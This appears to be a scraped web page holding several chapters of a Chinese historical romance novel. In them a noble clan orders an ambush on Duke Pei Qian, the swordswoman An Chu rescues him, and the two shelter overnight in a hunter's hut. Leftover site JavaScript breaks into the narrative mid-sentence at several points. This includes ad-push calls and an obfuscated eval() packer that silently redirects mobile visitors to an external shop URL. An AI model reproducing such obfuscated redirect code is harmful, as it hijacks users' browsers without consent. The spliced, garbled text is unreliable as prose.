“他从始至终都没想过跟崔家走近,也没想着跟太子走近。”王策云微笑着接过王隐递来的一叠文书,上面密密麻麻地写着许多熟悉的名字。 都是和李素搭得上关系的大小官员。 上至正三品下到九品县丞。 “他可是圣上的利刃,陛下指向哪里他就砍向哪里。”他慢条斯理地拂过纸页,心中轻哼一声,漫不经心地想起了那人毫不退让的眼神。 恶兽的挑衅,王策云曾在斗兽场里见过。 凶残、精明,绝境求生时垂死挣扎的劲儿。 往日里都忽视了这个游戏花丛的男人,任谁都不记得这个人曾经是明光营的统领,即使没有帅印,军心也会朝向他——皇帝怎么就没想办法把他弄死呢。 噢,对。王策云心中跃过一阵冷笑。 皇帝这个时候等着他这把剑出鞘饮血呢,果真是好大一盘棋,把所有人都耍得团团转。 王策云走的时候与他肩膀相错,二人方向背离,各自上了各自的马车。 这注定他们不是同道人。 好不容易哄好了这位庶弟,小叔叔又要哭诉如今越发坎坷的仕途了。 “你是王家最有出息的子孙,你瞧这如今朝堂的变化,就该知晓我们王家的形势有多艰难。这不过两代人的光景,我们便跟那些匪徒强盗掉一窝了。” “那以叔叔的意思?”王策云装作不明就里,眼眸里的光暗了又暗。 “只怕皇帝会将这把刀越用越趁手。”王隐神色沉敛,乌黑的目光中猝然流露出狠戾狡诈的暗光,“此子断不可留。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 王策云慢条斯理地看着王隐于心不忍的模样,不由得觉得有些好笑:“那若是东窗事发?按裴谦的心性,断然不会轻易放过我们的。” 王隐见侄子有了回应,心中暗喜。 他笑了笑,轻描淡写道:“出了这样的事,多少人想他曝尸荒野,那崔家卢家,都是私底下见不得裴谦得势的。再者,这事有你办,谁会不放心?” 王策云缓缓合眼,心中又升腾起一股不知名的疲惫:“叔叔放心,我安排人去。” 林海间,冷风飒飒,清泉石上流淌。 书院在群山之中,算是僻静得当,适合读书人安心用功,考取功名。 沽名钓誉之徒,难免受不了孤清寂静之苦。 形中书院是前朝皇家书院,但到了现在,经由楚国公的郡主母亲操持,皇家书院不再属于皇室,而是面向天下人的读书之地。 无需考察门第,甚至可以说,越是穷苦人家,书院越不会坐视不管。 人少的地方,要么死了人都没人发现,要么被人追杀也找不到帮手。 裴谦属于后者。 日近傍晚,该下山打道回府,没想到这个节骨眼上遇上了黑衣劫匪。 “国公爷!” 树林里树影晃动,急促如旋风过境。 冷箭离弦,震得空气翁鸣! 乌金色的冷光破开重影和空气,烈马受箭,痛得仰天嘶鸣长啸。 裴谦如不是反应快,早就被甩下了马。 冷箭刺穿他的大氅斗篷,留下可怖的撕裂痕迹。 四周树影晃动,眨眼间竟成了活生生的人! 黑色的人影攒动,先是落下了几人与之混战。 打头的黑衣人修为城府极深,出招狡狡诈,云沧海竟然被一剑挑下了马。 云沧海脑子一白,兴许是被对方出其不意的险招放倒而心有余悸,也兴许是这么多年第一次在郢都遇见这么内力深厚的人——但他来不及想这么多了,这些刺客比某些阉人还要阴险,这下可不是扣俸禄那么简单的事了!保不准他的上司今日要命丧于此了! 他反应迅速,脚一沾地便弹了起来,枝头繁叶被劲风扯断,云沧海抡剑,阔步起跳有飞起之势,将黑衣男人欲躲砍击却不想被对方声东击西撞下了马。 “国公爷,上马!” 裴谦收了血痕斑斑的长剑,将斗篷扔了,翻身上马,在林中穿梭前行,马蹄声譬如暴雨疾风。 没想到会遇到刺杀! 云沧海的人拖住了大半的刺客,这时候在山里也等不来救兵。 运行极快的短箭刺破空气,颤鸣着传来一阵凶猛短促的强音,咻的一下刺破了裴谦的白斗篷。 栈道上弓箭手齐齐仰射,那飞箭暴雨般袭来,树叶被震得哗哗作响,摇散山间云雾。 “抓住他!” 荡起的黑影落入林间,隐约能看见他们身上悬吊的银白细丝。 黑巾蒙面,一身黑衣,样貌不出奇,但使用武器均是上品,动作整齐,一看就是训练有素的军方杀手。 这伏杀着实打了个措手不及。 逃过铺天箭雨眼见着便暴露了行踪! 29. 文明观赏 轰。 一阵巨响,一棵大树轰然倒塌!群鸟惊飞,嘶哑的叫唤声此起彼伏。 几人倒在地上嗷嗷叫,身子快扭成麻花。尘烟散尽 ,一影缓缓显现轮廓。天青色的衣袂随风而起,远远望去似仙鹤独立,他身法奇艺,静时如君子,不动如止水,而出手时掌间的风伺机而动。 他虽能抵住强攻,但奈何人数越发多了起来,他不便恋战,出走即为上策。 一路尘烟,他手上滴着血,勒马缰绳都被血水浸透了。 血肉撕扯的疼痛他已经感受不到,原本麻木冰冷的手心传来阵阵热意。 只是难以分辨这血是自己的还是那些黑衣刺客的,裴谦下手利落果断,如今病的一场,连自保都成了问题。 他唇边的鲜血妖冶刺目,一线坠落,好似开在绝境中的一朵曼陀罗。 与此同时,安楚,这个永远处在状况之外的女人出现了。 她在树上观望着惨烈的战况,背靠着树,还挎着竹篓,冷眼旁观着地上血肉淋漓的一片。 安楚别的特点没有,心胸狭窄当属前列。 国公爷虽长了一张祸国殃民的脸,但是他坏啊——坠崖的仇她可一直都记得,别想着她会放过谋害过自己的人。 安楚的优点在于记性不错,但这个记性不错主要用在记仇上边,于是好记性转化成了睚眦必报。 之前不干是因为没逮住机会,如今干了那是天性使然。 见死不救,她非常熟悉。 可他……是不是还帮过自己。 啧。 安楚已经跳下了树,弯进了僻静的小道,准备神不知鬼不觉地逃之夭夭。 蓦然间,她觉得国公爷好像偶尔还挺通人性…… 算了,一码归一码。 他既然能救自己那么多次,没理由会派人追杀自己——尽管安楚觉得自己的说辞在自欺欺人。 唰。 她转头就跑,朝着相反的方向奔去。 不下山了,救人。 安楚俯冲落地,一阵火光冲天,灼热的热浪朝安楚的面门上冲来。 铁片炸开碎成一瓣瓣的,铁块飞溅,利刃一般划过安楚的周身。 火铳! 这可是朝廷禁止流通的玩意! 安楚心中一惊,一股子兴奋劲儿却又打心底升腾起来了。 半空转身,婉若游龙,衣袂飘飘似飞雪。 火光裹挟,她破光而至。 又见面了! 目光交接刹那,天崩地裂。 “抓紧我的手!” “哪里来的丫头片子!你是什么人!” 安楚立在枝头,脚下火焰熊熊。 她熟悉这批人马的路数,毕竟被人家赶尽杀绝过,这若是不记得了,那就不是安楚了。 “我是你大爷。” 黑衣男人眼眸一垂,闷声道:“不留活口,都杀了!” “愣着干嘛!”安楚睁大眼看着裴谦,好似十分不能理解对方生死关头的木讷,“再不跑要死一块儿了!” 安楚就像是从天而降的神兵。 她站在火光之上,裹挟着热浪奔袭而来,她如刀锋上一闪而过的寒光,刹那间便照亮了裴谦的双眸。 他用眼角余光感受着,她的颈侧和脸侧,轮廓缓缓清晰,她好像瘦了些,侧脸的线条犀利如刀,好像消失的这些日子里被岁月打磨沉淀。 这不由得让他心中升起淡淡的怜惜。 可眼下正是生死存亡之际,如若晃神,说不定下一秒连命都保不住。 近在身侧又好似远在天涯。 他的手心还淌着血,被少女紧紧握着,尽管不是十指相握,但那肌肤贴近的曼妙让他心中升腾起一股软绵的滋味。 此刻的她不是掌间的风、握不住的云,她是真实的。 生死关头心胸中的那一股焦虑烦躁一扫而空。 安楚不知道他心里翻江倒海想了这么多,只觉得带一个人跑确实累赘极了。 她实在惋惜仰倒在地上痛苦喘息的骏马,多好的成色,养出一匹马要花费多少心思,往日里看护都唯恐看护不好,如今却被人乱刀砍死在地,实在是令人唏嘘。 安楚拦腰将裴谦一把拽到后方,自己与那头目对了一掌,周身云气荡漾,气冲云天似的,将五十步之内的树影震得乱颤。 那黑衣头目偏头一让,乱石飞溅,拂袖间短刀相见。 她拂出的双手迅速收回,两指伸向自己的衣领间,此时两人距离太近,杀机重影一触即发。 匕首横刺而来,安楚一腿蹬断了离自己最近的大树,乌发飞散,树干从中间裂开,身下的石壁赫然断裂成几截! 飞叶与血雾相重叠。 她与那头目齐齐下坠,在悬崖峭壁间剐蹭。 安楚手腕一翻,钢爪便扣紧了断壁上凸出的石块儿。 众人望去,以仰望的姿态看着疾风中那一抹修长又闪烁着杀气的身影不由得心神动荡。 黑衣头目顿感不妙,生怕暗杀出了纰漏。 这女人是什么来头? “一个女人罢了,上,抓住她!” 刺客们整齐划一,挥着剑朝上边涌去。 刀尖雪亮,如明月遭乌云遮羞,忽而一闪再现清晖,蓦然点亮,一丝冷光照进安楚的眼眸。 她悬挂在半空中,一手拽紧了绳索。 黑衣头目豁然抬头,心中陡然涌起一股莫名的恐惧。 安楚毫不犹豫一个反手将刀退了半个弯,半空中的缠斗他显然落了下风。 雪亮的刀尖没入黑衣头目的胸膛。 黑衣头目只见自己胸膛一冷,他的瞳孔无限放大,似是灌入满腔风雪,将他的热血全都冷却。 她气喘吁吁地拽紧绳索,心脏就要跃出胸膛。 一把剑唰地插进了她身侧的岩石上,绳索被剑风一震,竟差点被隔断。 此时,一张蒙着黑巾的脸出现在安楚的头顶。 安楚瞳孔紧缩,瞳仁在这突袭中上下颤了颤。 “受死吧!” 眼见那蒙脸男人要将绳索砍断,闪着乌金色的箭头刺破空气,箭尾如一线白星划破夜空。 蒙脸男人闷哼一声,胸前竟插入一根羽箭,身体失去重心,怦然坠地。 主心骨已死,剩余的人溃散而逃。 “我……我拉你上来……”裴谦抛下弓箭,那弓并不称手,勉强够用罢。 他胸中一股灼热的烧心,便扒在崖边便止不住地呕出一口血。 指尖相碰,裴谦顺势将整个身子往下送了送,牢牢抓住了安楚的手,那双手骨节分明,染着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 血,如血玉,与安楚的相比不知要大上多少。 那力度几乎要把安楚的指骨捏碎,裴谦知道如若抓不住会有什么下场。 方才拉弦也是废了气力,安楚感觉他的手无可控制地痉挛。 两人终于算是平安落地。 找了一个荒废了的小木屋,是猎户上山打猎落脚的地方。 划开火折子,颤颤巍巍的火星子掉进柴草堆。 刺啦一声,火光渐渐蔓延开来。 安楚蹲坐在火前,撩起袖子,如幼兽独自舔舐伤口那般,潦草地将衣裙撕扯下一截,裹在伤口上。 动作利落,毫无顾忌。 血污肮脏,弄脏少女明月清辉似的面庞。 “看什么看,信不信剜了你眼珠子。”安楚冷淡道,她那起伏平稳的语调使这句话非常有可信度。 “……”裴谦坐在火堆对面,眼底含笑,湿漉漉的,似是疼出的泪花浸透在眼底。 “疼?”安楚稍稍有些动容。 “自然是疼的。”国公爷松了口气,显得有些慵乏,气若游丝的。 “就这么点伤,哭哭啼啼的,像个男人么。”安楚走过去,唇齿叼着布条,手上嘴上动作毫不怜惜,非得看着对方闷哼出声才算罢休。 “疼……”裴谦嘴唇发白,玉雕似的脸上难得露出脆弱的神色。 他亦如易碎之琉璃,捧在手里害怕摔碎了,近乎妖孽的面庞令郢都的无数少女怦然心动。 一开始还能靠着安楚的颈窝,喘息着呵着热气,喊着喊着便无声无息地倒了下去。 少女的馨香充斥在裴谦的鼻息间。 这姿势暧昧非常,国公爷卸下防备的模样像极了一块香软的糕点,任君采撷。 安楚皱了皱眉,将人直接掀地上,可看着他那无力抵抗的模样,好像确实是受了极重的伤。 看来箭上有毒,安楚低头查看,三下五除二将国公爷的上衣扒了,只剩一件素色单衣。 血色浸染他的胸侧,离心脏很近,差之毫厘,他便彻底要去地府报道了。 他的躯体肤色匀称,苍白的脸上连同着胸膛冒着冷汗,似白玉凝脂,宛若天人雕刻。 色欲熏心的安楚眼光悄悄下挪,鸦睫轻颤。 余温旖旎,细腻如湿润的夏风,将人心搅动,一时间竟开始焦躁不安。 她索性将缠绑头发的发带解开,将男人的小臂绑紧,以止血崩。 “你……”裴谦有些发怔,望着少女毛绒绒的发顶,却不想这么霸道。 虽是他心甘情愿,但骨子里都是一个刻板的、遵守礼教传统的人。 如今被少女扒得只剩下单衣,这与裸身在众人面前洗浴有何区别! “我……你……”裴谦有些语无伦次,眼泪既是痛出来的,又是羞涩出来的。 “国公爷倒也不必扭捏。”安楚面无表情,心道这家伙宽衣解带的事,平日里也不在少数吧。 一想到这儿,安楚不由得皱了皱眉。 拧巴的眉头还有嫌弃下撇的嘴角,安楚毫不遮掩自己的情绪和表情。 裴谦隔着火光,瞧着少女的模样,温润在暖色中,如蜜糖如田野间沉甸甸的稻谷。 汇聚天下所有他能看见的风景,在记忆里,那些曾路过的山川河流,此刻似乎又生动了起来。 30. 生死之交 暮春时节的郢都多阴雨,夜晚尤其湿冷,不生火根本没办法扎住脚。 此时就是这样的惨状,空气都是湿哒哒的,吸一口气,湿润黏腻的空气瞬间挤满人的心扉。 安楚冷暖自知,眼前这人是指望不上的,剩着半口气不说,动弹一下恨不得血都要涌出来,于是她自觉且熟稔地生火,出门在外火折子果真是少不得的。 她也受了伤,但浑身都充斥着临危不乱的淡定,反倒叫人忽略她脸上岩石擦出来的血痕和淤青。 那黑衣头目太阳穴凸出,目光锐利狠辣,下手又快又狠,身手上乘。 安楚抿唇,不解道:“你这招惹的都是什么人,你自己的护卫呢?” “……”其实国公爷不是太想提起自己那位日常摆烂但正常领俸禄的护卫。 “身居高位,多的是人打我性命的主意。”裴谦忽略后半个问题,一本正经回答道。 国公爷脸色苍白,那是火光都暖不透的冷淡,肤质如白瓷,近乎透明,矜贵又易碎。 亦如静谧夜里悄然绽放的雪柳。 忽明忽灭跳跃的火光落在他的脸庞,将他面上的轮廓照得越发清晰,这样的距离,安楚甚至能看见他下巴生出的微微胡茬。 裴谦挑眉,看着眼前的少女忙碌的一系列动作,半晌才出声:“这刺客你不熟悉么?应该是王家的手笔。” “上次?”安楚悄悄翻了个白眼,一想起来自己坠崖的心酸,心中便久久不能平息,遂说话格外阴阳怪气,“除了国公爷你知道我的去处还有谁会知道?想要我的命就直说,白给还不成么,还用起了借刀杀人的那一套。” 黑衣头目的身手……确实熟悉,应该是出自同一师门,不然她也不会那么快摸清对方的出招门路。 如此看来,追杀她的人确实不该是裴谦。 裴谦不至于要用自己的性命引她入局,她看了一眼角落里凄惨不易的国公爷,心中涌起复杂的滋味。 “挺好,命大。”裴谦听了兀自笑了起来。 安楚不知道她坠崖却又死里逃生为什么会让他舒心,如此直率地地展开笑颜。 裴谦道:“我派人找过你,但你跑得很快,那些侍卫也都是蠢的,根本就赶不上你的步子,最后有人告诉我,你最后的踪迹出现在一处断崖,极有可能坠崖了。” “我没有必要骗你,那次追捕王家是冲着将你灭口去的,故而未做任何掩饰,轻而易举就能辨认出黑鸱的标识。” “如今我们都是受害者,何不站在一起,让那些自大的家伙付出代价。” 裴谦笑吟吟地看着她,他这会儿没办法双手抱胸,实在是伤口伤得不是位置,手臂微微动摇,便会血流如注。 可尽管是血肉撕裂的疼痛,他面上也风轻云淡的,淡然地欣赏着她的英姿。 “你这会儿都快死在野外了,可别说这些没用的空话了。”安楚不想搭理他,自顾自地爬了起来。 不起身还不要紧,一起身便发觉身上的伤口粘连着衣裳的布料,撕扯着,鲜血瞬间便淌了下来。 她脸色骤然煞白。 “唔……” 安楚眼前一黑,天旋地转一番,被裴谦接进怀里。 这人的怀抱充斥着一股浓郁的血腥味还有一阵不甚清晰的青檀香,两者裹在一块儿显得这个怀抱十分不切实际。 血再次浸透了裴谦的胸膛,他咬住后槽牙,硬是没哼出声。 他感受到她的气息,是一种极其微妙的、难以言喻的气息,不似寻常的花香,也不似脂粉香。 若非要争个所以然出来,她身上什么香也没有,介于清冷和烟火气中间,模糊了边界的那种巧妙得当。 然而眼神一落,便望见她那微乱的乌发下一片晶莹而细腻的肌肤。 脖颈的线条是利落简约的,寥寥两笔便绘出了人体的韵律之美。 “你先别动,你伤口又崩开了。” 安楚的心跳,宛若是将一只雉兔藏在胸膛,他能轻易地捕捉到,感知到。 她也不急着起身,仰头便望见他渗血的伤口,径直伸手用指尖碰了碰。 安楚一阵心虚——不怪老头儿总教训她,包扎可是救人性命的活计,非得给她整成催命符。 这结也不够灵巧,止血效果也不佳。 安楚绝望地闭了闭眼,为自己的潦草手艺默哀。 见状,裴谦的身子僵了又僵。 这是?心疼了? 裴谦猜测着,心中突然升腾起一些甜蜜的窃喜。 心脏似悬崖边摇摇欲坠的快马,虽是危机重重,但不乏扬鞭策马的快活。 “你渴吗?”安楚生硬地转移话题,赶紧抽回手。 裴谦讷讷地点了点头,喉结滚动。 “我去打点水。”安楚呼吸有点不稳,她摇摇晃晃起身,神情有些恍惚。 怀里的温度骤然消散,余温袅袅,裴谦心中空了大半。 安楚回来的时候用一大片叶子盛了水。 “你把这个,还有这个一起嚼碎了吞下去,要是苦,就着这个水咽下去。”她递过去两片止血功效的叶子。 她的心境陡然就不一样了,方才对国公爷的态度是爱死不死的,反正也就那样。 如今知道他也算受害者,不由得惺惺相惜起来,毕竟有从前的救命之恩,安楚不至于忘恩负义。 “可你的手怎么办?” 她的指尖几乎血肉模糊,方才在岩石上磨的,天气寒凉,一开始伤口发烫发痛,后来便失去了知觉。 “我不疼,这都是小伤。”安楚固执地摇了摇头。 “看着就疼,不要嘴硬。”裴谦默默垂眸,心中泛起一阵酸涩,“怎的感觉你受伤都是家常便饭。” 安楚不言,只是静静地看着他,习惯性地将手往身后藏了藏,掩在背后。 裴谦想起了自己那年出征北地,大雪封关,无数的将士的尸首被埋在大雪和冻土里。 万人坑,故人魂。 一夜久别终不归。 他站在满目疮痍的冻土废墟上,萧瑟的寒风里,强撑着疲惫,拖着绷紧到极致的身体,望着遥远的郢都。 倒下后真想闭上眼便再也不睁开。 与这场雪葬在一起,与他同生共死的亲兵死在一处。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 他躺在死人堆里,埋葬他的土快要落满他的全身。 那时也曾有人这样向他伸出手,把他从万人坑里拉出来。 他重新睁开了眼,那双不甘示弱又哀愤不绝的眼——只要让他活下去,他注定要不择手段地报仇。 当然,最后他也做到了。 班师回朝的少年将军风光无限,坐在高头大马上,笑看人生的颓败和荣华。 谁都不知道他命悬一线的恐惧和痛苦,以及面临濒死关头的释然。 看着安楚不近人情的模样,裴谦却堂而皇之地站了起来,好似没受过伤那般,顺手还将自己的腰带拽了下来。 一把拽住转身就要躲的安楚,点了她肩上的两处大穴。 于是安楚就这么定在了原地。 安楚看得一愣一愣的,眼睁睁看着国公爷将自己的手捆了个严实。 “真恶俗,呸。” 裴谦垂眸,目光落在被捆住的双手:“没见过哪个女孩像你这样不在意自己的手的,手可是人的第二张脸。” “国公是觉得我第一张脸不好看?”安楚不服气道。 裴谦动作轻柔,看着少女倔强又脏兮兮的脸庞,下意识地摒住了呼吸。 好看是好看的,隐隐透出一股不服输的傲劲儿,美得更有韵味了。 那种无处不在的青檀气息充斥着安楚的鼻端,她瞪着眼,满眼都是裴谦那张如珠如月的脸。 他那微微下垂的眼睑,羽睫落下一阵淡淡的弧影,像未盈满的明月,像一片长着桃林的宁静岛屿,漂浮着,藏匿在云烟的尽头。 “放手!谁允许你掐我后颈了!”安楚大骇,她最讨厌别人动她脖颈,这样的动作正是掐住她最敏感最脆弱的地方。 这让她十分没有安全感。 “我给你处理伤口。” 裴谦的动作十分轻缓,但速度不慢,有条不紊的,将少女手上的伤抚平。 她的唇生得薄而柔软,淡淡的光线下轮廓分明,散发着珍珠一般的光泽,介于温柔与明朗中间。 裴谦心神一荡,心头一阵悸动。 那一刻,他有点想要毫不犹豫地吻下去,如同蝶落花蕊,如同蜻蜓湖面一掠——那该是多么甜蜜的滋味,刹那间他们近在咫尺,却又远在天涯。 安楚好像能动了,手脚微微酸麻,但能活动。 看来只有半柱香的功夫,这人还是手下留情了的。 安楚向来不喜欢袒露自己的脆弱,这样只会让自己显得更无用。 她的痛苦依旧要由她自己来承受,却在与此同时接受不怀好意之人的嘲讽甚至是死手。 少女习惯将心事藏匿,若是不开口,痛苦那便永远不会浮出水面。 “你自己的伤呢?”安楚看着眼前的男人泰然自若地坐在一旁烤火。 他原本衣着华贵,此刻却衣衫褴褛。 “无碍。” “我采回来是给你用的……如今你却用到了……这般无用的地方,我自己都心疼了。” “什么是无用?你要知道,你身上每一寸肌肤都是值得被珍惜的,你最该心疼的是自己。” 31. 同床共枕 野花低垂,白露结霜。 裴谦的指尖轻碰她的脸颊,她受惊似的急急闭上了眼,羽睫轻颤。 他察觉到女子的不安,有心安抚,衣角轻缓落下,将她面容上的血渍和尘土拭去。 她缓缓睁眼,裴谦离她极近,那一张脸给人的感觉是柔软的,不像是从前,隔窗看雪,总是朦朦胧胧的。 他的发冠不知什么时候丢了,或许是在逃亡的路上,或许是在救她的时候。 乌发散开,散落在肩头后背,安楚并不觉得阴柔,反而带着秀丽又放纵的意味,放纵又带着克制。 如风卷飞雪,那一抹苍凉的白散落在天边。 安楚低头,若有所思地瞅了瞅自己的手,不似从前脏兮兮的,被包扎得整整齐齐的,裴谦甚至还给她绑了俩利落小巧的结。 十分结实,且也不会勒着手。 掌心露出血肉的伤口也被擦上了膏状的草药,收拾得平整妥帖。 “要你管。”安楚直直皱眉,自从碰见这个人,安楚的眉头都没怎么松过。 裴谦的出现让她觉得心慌意乱,说不上为什么会出现这样的情况,但她确信这人必会是她人生路上的一大变数。 安楚从小都未曾有过这样的经历,这个人莫名其妙地闯进了她的生活。 他真是一个奇怪的人,让人捉摸不透。 她或许是抵触纠结的,但是又无法抗拒。 “我替你上药,你身上的伤口还在渗血。”她语气坚定,不容许对方拒绝。 裴谦垂眸刹那又想起了她掌心大大小小的伤痕。 由这刻骨的伤痕可知,这女子出手定是心狠手辣。 对自己都这么狠,对旁人更是不会留有余地。 她的性格也正是如此,手起刀落,毫不留情。 裴谦一想到这儿不由得心疼起来,好好的女儿家哪个不是娇养出来的,怎么会生得这样决绝。 不在意自己的容貌,不在意自己的伤,不在意自己的性命…… 裴谦清楚,她从天而降的那一刻定然是思量了许多,这场恶斗不单单需要勇气和谋略,但凡落了下风定会成了杀手的刀下亡魂。 他心中生出淡淡的怜惜,酸涩得难以言喻。 “怎么感觉你急着还人情?” 安楚像是被说中了心事,心中一跳,却又装作无事发生,面不改色道:“这叫有来有往。” 她抬手,用带有威胁的口吻补充道:“我方才不过是轻敌了,你若是拒绝了,我有的是办法让你三天三夜都起不来身。” 少女为了行动便捷,服饰都是简便易行的,头发被高高竖起,除了不戴冠,装扮和一般男子无异。 袍子是如今大辰最流行的交领搭配腰封,此刻她手臂舒展,替裴谦处理伤口。 裴谦顺应对方的动作,舒展间认真地观赏着少女的动作。 伤口处理告一段落后,安楚便看见裴谦十分勤勉地收拾着落榻的地方——裴谦不让安楚再操劳了,于是安楚也便老实地蹲在一旁看着。 安楚看着国公爷表情虔诚,动作带风,将今夜安置的柴禾收拾得整整齐齐。 可她左看右看,都没看明白国公爷究竟是怎么收拾的。 安楚迟疑道:“这是今晚睡的地方?” 角落里静静躺着一方铺设平整的稻草榻,上边还有一层裴谦自愿贡献的外袍。 裴谦收拾完毕,舒出一口气,露出浅浅的微笑,安之若素道:“再不睡天都要亮了。” “我们?就这么睡?” 安楚倒吸一口气,虽然别人做事,她这个没动手的不该指指点点,但是她还是想要再挣扎一下。 孤男寡女的,总感觉怪怪的。 “不这么睡还能怎么睡?”裴谦摊手表示无辜。 “这是君子所为么?”安楚看着地上整齐的柴禾,毫不留情面地戳穿国公爷的小心思。 裴谦一本正经地解释道:“为了不被冻死,背靠着背也不失君子风范,君子首先要学会惜命。” “行吧。” 安楚虽是嘴硬,但是身体还是老实的。 躺在柴禾上,安楚的后背贴着对方,这是一种很微妙的触感。 安楚不喜欢也不讨厌,他们彼此相依,是真正意义上的相互搀扶。 毕竟寒夜漫漫,只有相互倚靠的地方才能慢慢生出热意。 她能清晰地感知到裴谦有力的心跳,这不由得让人想起了初升的朝阳。 将周围的云雾烧成一片,红通通的,丝丝缕缕都像是染上了殷红的胭脂。 暖烘烘的热流淌过安楚的心脏,悄悄地勾引着心底深处的东西逐渐生根发芽。 裴谦合上眼,他面上看着波澜不惊,好像真的是坐怀不乱的柳下惠,实际上内心早已惊涛骇浪,风起云动激起浪千层。 克己复礼。 裴谦那颗滚烫的心,在胸腔里跳动着。 他觉得他病了。 相思入骨的病,让他欲罢不能。 明明离她这么近,却又感觉难以触及。 相近的两颗心,在黑夜里踟蹰前行,孤立难安。 “你要是冷……” 可以再离我近点。 可这话还没说完,裴谦便感觉到对方平稳的呼吸。 与绵延的山峰那般,起伏流畅。 疲惫了一天,少女的操劳从未停歇,她从那些穷凶极恶的刺客手中劫走了他,救了他的性命,一路照料。 纵使是脱了险,她也是一刻不停,紧绷着弦,生怕陡生事变。 他不知道她是如何咬牙坚持的,竟撑了一路。 这已经不是要强了,这是要命。 裴谦侧躺着,枕着自己的手肘。 背后的少女好似十分安心,一动不动,任凭着平稳呼吸陷入梦中。 安楚确实是一个睡眠极浅的人,在这一点上,她和裴谦十分默契。 当一个睡眠浅的人遇上另一个睡眠浅的人,其中必然有一人能安然入睡。 安楚甚至毫无意识地朝着裴谦的方向凑近,靠近温暖的地方是天性使然,她自己也不例外。 她做了个梦,梦里面她看见去世已久的母亲。 荆岫云带着她从江南之地逃难,一路北上向郢都。 路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988095|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风餐露宿,要是娘两个脚程慢了,偶然还会借宿在野兽废弃的洞穴里,或是有待修葺的破木屋里。 小小的身体没办法替母亲遮风挡雨,这个时候的她不给母亲惹麻烦就已经足够理想了。 她说,那位安老板是好人,让你打杂你便勤快些,你跟着他好好学些东西。 她说,你不要跟正堂的那些小姐少爷起冲突,多一事不如少一事。 她说,你要多一些耐心,与人为善,哪怕是出了什么事,人家也没办法揪你的错处…… 她梦见久违的荆家祠堂,那天下着雪,天老早就黑了,刚吃过晚饭便彻底暗下来了。 “不过是打碎了一盏汝窑,也不是什么值钱玩意儿,你就别难为楚歌了。” “紧咬着死理不人,我从未见过这么顽固不化的孩子,庸才!更何况她只是个姑娘家,连最基本的顺从都做不到,做长辈的不把她教好,到时候找了婆家,人家婆家要指着鼻子骂咱们的。” 那些声音重叠在她的耳边,越来越模糊。 那次摔了茶盏的本就不是她,但那大房的少爷非得赖在她头上。 荆夫人一如既往地偏袒那位少爷。 或许她就应该低头认错的,母亲就不会那么晚还出门,亲自去荆夫人那儿求情,低声下气,还惨遭羞辱。 荆绍轩说:“你瞧瞧你,就凭你,还配跟我比?你不过是个没人要的杂种,杂种也就算了,还是个女孩儿……” 于是她站起来便跟那位比她高一个头的少年狠狠揍了一顿。 虽然这事最后不了了之了,但闹大了终归不好听,连荆老爷都被惊动了。 荆老爷比较爱惜名声,了解了事情的全过程后不痛不痒地将荆绍轩关了两天禁闭。 仅此而已。 “你就不能安分守己地待在屋里,没有哪家的姑娘像你这样的!” 这是荆老爷最后对她说的。 他不喜欢荆楚歌,打心底就是冷漠厌恶的,荆岫云也知晓。 但这些都是她无法改变的,所以只能一一忍受。 靠着卖女儿使家族化险为夷,这是一桩丑事,无论如何也不能让旁人知晓。 荆岫云为什么要回郢都呢?接手像吞了死苍蝇,不接手显得他们刻薄。 荆家所有的人都觉得她是一块烫手山芋,与其让他们自己解决这样的难事,不如一开始就叫她在外头自生自灭。 “你走吧,孩子,走得越远越好。”荆岫云骤然抓紧安楚的手,“你该去找你的亲生爹妈了,这么多年,该放下不该放下的,我也都快忘了……” 梦中的女人泪如雨下,可安楚根本听不明白她在说什么。 她想张嘴,可惜一切都是徒劳。 她只能眼睁睁地看着将自己养大的母亲慢慢消失,像是天边舒卷的一丝云,落在叶子花瓣上的露珠。 “别走…… ”安楚喊出了声。 猛然睁眼发现自己竟然在裴谦的怀里——她反应迅速,第一想法竟然不是赶紧逃出来,而是迅速地揪着外衣将脸上的泪水蹭干净。 鼻尖涌入一阵熟悉的木质香,沉稳又充满魅惑。 32. 拥她入怀 “醒了?”裴谦撑着下巴,顶着稍显疲倦的脸,看着怀里探出脑袋的少女,心情大好,春风满面,好不得意。 只是温存时光太短,国公爷还未好好回味,就被拽进了冰冷的现实。 她的目光由最初的迷蒙一下子变得警惕起来,像一匹凶狠的头狼,也像一只蓄势待发的啮齿动物。 凶狠,但是很可爱。 “你怎的这么瞧着我?” 安楚噎了一下,一掌推在国公爷线条流畅又尊贵的下巴上。 “天地良心,我可是正人君子!”裴谦委屈辩白道。 国公爷没有反抗,就势躺了下去,若无其事的样子继续挨着安楚躺下,这架势把脑子还在一片混沌中的小姑娘气得不轻。 “你越界了。”安楚背过身去,或许是梦魇所致,也可能是刚苏醒过来脑子不太清醒。 易怒焦躁,恨不得把身后的裴谦一脚踢出去。 “困死了,我一晚上都没睡着……”裴谦慵懒地打了个哈欠,语调散漫着,像一堆被风吹散的河沙。 一堆余烬,尚留余温。 天已大白,林子里还传来阵阵清脆的鸟鸣。 “你昨晚,我还跟你说着话呢,话都没说完就睡着了。真不是我小人做派,你自己梦魇了抱着我不放的……我还推你了,但你不醒,我总不能为了自己的清白和名声把你一脚踢出去了嘛。” “这显得我多不近人情……姑娘你可是我裴某人的救命恩人呀。” 裴谦不自觉地语调上挑,似是有意为之,眼波悠悠,缠绵勾人。 “……” 安楚彻底沉默了,虽然没底气吱声,但是很想嘴硬。 周身都是清晰又熟悉的青檀香气,无可避免,逃无可逃。 那袅袅婀娜的气息是真切的,将安楚牢牢拽住,不让她挣脱出去。 